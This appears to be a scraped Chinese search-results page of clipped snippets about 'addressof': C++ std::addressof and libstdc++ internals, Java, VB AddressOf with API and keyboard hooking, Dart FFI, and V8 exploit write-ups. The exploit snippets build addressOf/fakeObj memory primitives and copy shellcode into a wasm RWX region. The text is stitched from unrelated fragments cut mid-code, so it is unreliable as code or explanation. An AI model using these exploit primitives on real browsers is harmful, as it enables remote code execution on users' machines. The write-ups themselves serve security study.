C++11将addressof作为标准库的一部分,用于取变量和函数等内存地址。...代码示例: #include #include void f() {} int main() { int m; printf("%p\n", std::addressof...(m)); // 一些环境非C++11可用std::__addressof printf("%p\n", std::addressof(f)); return 0; }
最近在eclipse下写c++代码,当用到std::addressof时,eclipse报错,说是无法解析这个函数: 但带两个下划线前缀的同名函数std::__addressof却是可以用的,而且使用...std::addressof时也能正常命令行编译,不会报错 本来打算就这么将就用吧,不想去进一步搞清楚原因了,除了那红字看着不爽,没别的影响。...但是代码在vs2010下编译时又出错了,说是找不到 std::__addressof这个方法,但是可以是可以找到addressof, 这可有点麻烦了,仔细研究了一下,原来addressof是纳入c+...std::addressof和std::__addressof, 但在move.h中通过对__cplusplus宏变量的判断来决定是否定义std::addressof函数,如果__cplusplus...:addressof函数。
catch (Exception e) { e.printStackTrace(); } } public static long addressOf...public static void main(String[] args) { System.out.println( "CONST_STRING的地址值:"+ObjectAddress.addressOf...CONST_STRING; String str2 =CONST_STRING; System.out.println( "str1的地址值 :"+ObjectAddress.addressOf...String str3 =new String(CONST_STRING); System.out.println("str3的地址值 :"+ ObjectAddress.addressOf...public static void main(String[] args) { System.out.println( "CONST_STRING的地址值:"+ObjectAddress.addressOf
编写addressOf函数 首先我们来写addressOf函数,该函数的功能是,通过把obj数组的map地址改为浮点型数组的map地址,来泄漏任意变量的地址。...var obj_array = [obj]; var array_map = double_array.oob(); var obj_map = obj_array.oob(); function addressOf...itof(0x41414141n), itof(0x100000000n), ]; 计算fake_object_addr地址的偏移需要稍微改改: fake_array_addr = addressOf...0x30n; var fake_object = fakeObj(fake_object_addr); 获取rwx_addr的过程需要稍微改一改偏移: var wasm_instance_addr = addressOf...[ array_map, itof(0n), itof(0x41414141n), itof(0x100000000n), ]; fake_array_addr = addressOf
std::addressof() 防止有的类重载 & 运算符,用 std::addressof() 可以一定拿到地址。
arr = get_data.Trim.Split("|") If arr(0) "" Then BeginInvoke(New EventHandler(AddressOf...Dim bytesSent As Integer = b4aSocket.Send(msg) BeginInvoke(New EventHandler(AddressOf addtxt)...listenThread.Abort() bt_st.Text = "停止侦听" End Sub Sub create_listen() '创建侦听 listenThread = New Thread(AddressOf
Note that std::addressof() always yields a built-in pointer. 如果你要"招惹"&运算符,一定要确保它的结果类型和->,[],*和 ....注意std::addressof()总是返回一个内置类型的指针。 Enforcement(实施建议) Tricky.
BeginHK() '获取当前的线程ID i =GetCurrentThreadId '这里安装的是键盘钩子 hHook =SetWindowsHookEx(WH_MOUSE, AddressOf...在VB5.0以前应用程序无法越过VB直接处理消息,微软从VB5.0开始提供AddressOf 运算符,该运算符可以让用户程序将函数或者过程的地址传递给一个API函数。...这样我们就可以在VB应用程序中编写自己的窗口处理函数,通过AddressOf 运算符将在VB中定义的窗口地址传递给窗口处理函数,从而绕过VB的解释器,自己处理消息。
return receive.m() } for (let i = 0; i < 140; ++i) { trigger1(); } element = trigger1(); 编写addressOf...函数 在上面的基础上,编写addressOf函数: function addressOf(obj_to_leak) { obj_array[0] = obj_to_leak; receive2...lookup_start_object.length; return receive2.m() } for (let i = 0; i < 140; ++i) { trigger2(); } 改addressOf.../2; hi1 = trigger2(); res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000); return res; } 原理和addressOf...构造fake_obj的代码如下所示: var fake_array = [1.1, 2.2, 3.3, 4.4, 5.5]; var fake_array_addr = addressOf(fake_array
M_device(0), _M_owns(false) { } //构造函数,只允许显示调用 explicit unique_lock(mutex_type& __m) : _M_device(std::__addressof...M_owns = true; } //构造函数,无互斥所有权 unique_lock(mutex_type& __m, defer_lock_t) noexcept: _M_device(std::__addressof...owns(false){ } //构造函数,尝试获得锁的所有权,而不阻塞 unique_lock(mutex_type& __m, try_to_lock_t) : _M_device(std::__addressof...try_lock()) { } //构造函数,拥有互斥锁所有权 unique_lock(mutex_type& __m, adopt_lock_t) noexcept : _M_device(std::__addressof
std::size_t size{1'000}; }; int main() { constexpr auto t = trade{}; __builtin_dump_struct(std::addressof...(t), std::addressof(std::printf)); } 效果 const struct trade { double price : 42.000000 std::size_t size
保存原函数开头字节,这里是6个字节,以备后面恢复 MoveMemory ByVal VarPtr(OriginBytes(0)), ByVal pFunc, 6 '用AddressOf...获取MyDialogBoxParam的地址 '因为语法不允许写成p = AddressOf MyDialogBoxParam,这里我们写一个函数 'GetPtr...,作用仅仅是返回AddressOf MyDialogBoxParam的值,从而实现将 'MyDialogBoxParam的地址付给p的目的 p = GetPtr...(AddressOf MyDialogBoxParam) '标准api hook过程之四: 组装API入口的新代码 'HookBytes
external int get address; } abstract class Struct extends NativeType { final Pointer _addressOf...; Struct() : _addressOf = nullptr; Struct...._addressOf); } // 这个文件里面同时也定义了 sizeof 这个方法,对应C的sizeOf external int sizeOf();
的作用是把corrupted_array数组的长度改为0x24242424/2 = 0x12121212,那么后续如果我们的obj_array和double_array在这个长度的内存区域内,那么就可以写addressOf...编写addressOf函数 现在我们能来编写addressOf函数了: function addressOf(obj_to_leak) { obj_array[0] = obj_to_leak;...exp1.js function copy_shellcode_to_rwx(shellcode, rwx_addr) { ...... var buf_backing_store_addr_lo = addressOf...= 0x" + hex(ftoi(array_map))); console.log("[*] obj_map = 0x" + hex(ftoi(obj_map))); 接下来只要在exp1的基础上对addressOf...和fakeObj进行一波微调,就能形成我们的exp2了: $ cat exp2.js function addressOf(obj_to_leak) { obj_array[0] = obj_to_leak
))); if (d2u(z)[1] == 2) oobWrite(u2d(d2u(z)[0], 0x20)); else oobWrite(u2d(0x20, d2u(z)[1])); 编写addressOf...函数 现在我们能来编写addressOf函数了: function addressOf(obj_to_leak) { vul_obj[0] = obj_to_leak; trigger_array
MotCtp.Width = 300 ''--添加任务窗格事件 AddHandler MotCtp.VisibleChanged, New EventHandler(AddressOf...MotCtp_VisibleChanged) AddHandler MotCtp.DockPositionChanged, New EventHandler(AddressOf MotCtp_DockPositionChanged
constexpr T* operator->() { return addressof(this->m_value); } constexpr T const* operator...->() const { return addressof(this->m_value); } // ... }; template class OptionalDeducingThis...template constexpr auto operator->(this Self&& self) { return addressof(self.m_value
uninitialized_default_n_1::__uninit_default_n ------> std::_Construct(std::__addressof...uninitialized_fill_n::__uninit_fill_n ------> std::_Construct(std::__addressof...在源码一节中,我们提到未初始化版本和初始化版本最终分别调用了std::_Construct(std::__addressof(*__cur))和_Construct(std::__addressof(*
_M_ptr(); } #else _Tp _M_data; _Tp* _M_valptr() { return std::__addressof(_M_data...); } _Tp const* _M_valptr() const { return std::__addressof(_M_data); } #endif }; 上面定义可以看出,从C++11
test.xlsm", UpdateLinks:=0) Calculate targetworkbook.Activate SetTimer 0, NV_INPUTBOX,1000, AddressOf
领取专属 10元无门槛券
手把手带您无忧上云